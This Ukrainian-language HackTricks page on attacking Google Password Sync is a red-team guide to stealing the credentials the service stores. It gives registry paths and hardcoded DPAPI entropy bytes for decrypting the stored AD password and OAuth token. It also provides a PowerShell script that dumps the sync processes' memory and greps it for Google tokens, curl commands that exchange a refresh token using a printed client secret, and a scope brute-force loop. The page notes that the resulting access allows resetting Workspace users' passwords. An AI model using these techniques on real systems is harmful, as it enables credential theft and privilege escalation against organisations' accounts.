GPS - Google Password Sync

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Основна інформація

Це бінарний файл і служба, яку Google пропонує для синхронізації паролів користувачів між AD та Workspace. Кожного разу, коли користувач змінює свій пароль в AD, він встановлюється в Google.

Він встановлюється в C:\Program Files\Google\Password Sync, де ви можете знайти бінарний файл PasswordSync.exe для його налаштування та password_sync_service.exe (служба, яка продовжить працювати).

GPS - Налаштування

Щоб налаштувати цей бінарний файл (і службу), потрібно надати доступ до супер адміністратора в Workspace:

  • Увійдіть через OAuth з Google, після чого він зберігатиме токен у реєстрі (зашифрований)
  • Доступно лише на контролерах домену з GUI
  • Надати деякі облікові дані служби з GCP (json файл) з правами на управління користувачами Workspace
  • Дуже погана ідея, оскільки ці облікові дані ніколи не закінчуються і можуть бути зловживані
  • Дуже погана ідея надавати SA доступ до Workspace, оскільки SA може бути скомпрометований у GCP, і це може дозволити перейти до Workspace
  • Google вимагає це для контролю домену без GUI
  • Ці облікові дані також зберігаються в реєстрі

Щодо AD, можливо вказати використовувати поточний контекст додатків, анонімний або деякі специфічні облікові дані. Якщо вибрано варіант з обліковими даними, ім'я користувача зберігається в файлі на диску, а пароль є зашифрованим і зберігається в реєстрі.

GPS - Витяг пароля та токена з диска

tip

Зверніть увагу, що Winpeas здатний виявити GPS, отримати інформацію про конфігурацію та навіть розшифрувати пароль і токен.

У файлі C:\ProgramData\Google\Google Apps Password Sync\config.xml можна знайти частину конфігурації, таку як baseDN налаштованого AD та username, облікові дані якого використовуються.

У реєстрі HKLM\Software\Google\Google Apps Password Sync можна знайти зашифрований токен оновлення та зашифрований пароль для користувача AD (якщо є). Більше того, якщо замість токена використовуються деякі облікові дані SA, також можна знайти їх зашифрованими за цією адресою реєстру. Значення в цьому реєстрі доступні лише адміністраторам.

Зашифрований пароль (якщо є) знаходиться в ключі ADPassword і зашифрований за допомогою CryptProtectData API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю ентропію при використанні CryptUnprotectData: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

Зашифрований токен (якщо є) знаходиться в ключі AuthToken і зашифрований за допомогою CryptProtectData API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю ентропію при використанні CryptUnprotectData: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
Більше того, він також кодується за допомогою base32hex з словником 0123456789abcdefghijklmnopqrstv.

Значення ентропії були знайдені за допомогою інструменту. Він був налаштований для моніторингу викликів до CryptUnprotectData та CryptProtectData, а потім інструмент використовувався для запуску та моніторингу PasswordSync.exe, який розшифрує налаштований пароль і токен авторизації на початку, і інструмент показуватиме значення для використаної ентропії в обох випадках:

Зверніть увагу, що також можливо побачити розшифровані значення вхідних або вихідних даних викликів до цих API (в разі, якщо в якийсь момент Winpeas перестане працювати).

У разі, якщо синхронізація паролів була налаштована з обліковими даними SA, вона також буде зберігатися в ключах у реєстрі HKLM\Software\Google\Google Apps Password Sync.

GPS - Витяг токенів з пам'яті

Так само, як і з GCPW, можливо витягти пам'ять процесу PasswordSync.exe та password_sync_service.exe, і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).
Я думаю, ви також могли б знайти налаштовані облікові дані AD.

Витягти PasswordSync.exe та password_sync_service.exe процеси та шукати токени
bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

GPS - Генерація токенів доступу з токенів оновлення

Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:

bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Сфери

note

Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати будь-яку сферу для токена доступу, оскільки ви можете запитувати лише сфери, підтримувані додатком, в якому ви генеруєте токен доступу.

Крім того, токен оновлення не є дійсним у кожному додатку.

За замовчуванням GPS не матиме доступу як користувач до кожної можливої сфери OAuth, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з refresh_token для генерації access_token:

Bash скрипт для брутфорсу сфер
bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt

І ось результат, який я отримав на момент написання:

https://www.googleapis.com/auth/admin.directory.user

Який є тим самим, що ви отримуєте, якщо не вказати жодної області.

caution

З цією областю ви могли б змінити пароль існуючого користувача для ескалації привілеїв.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks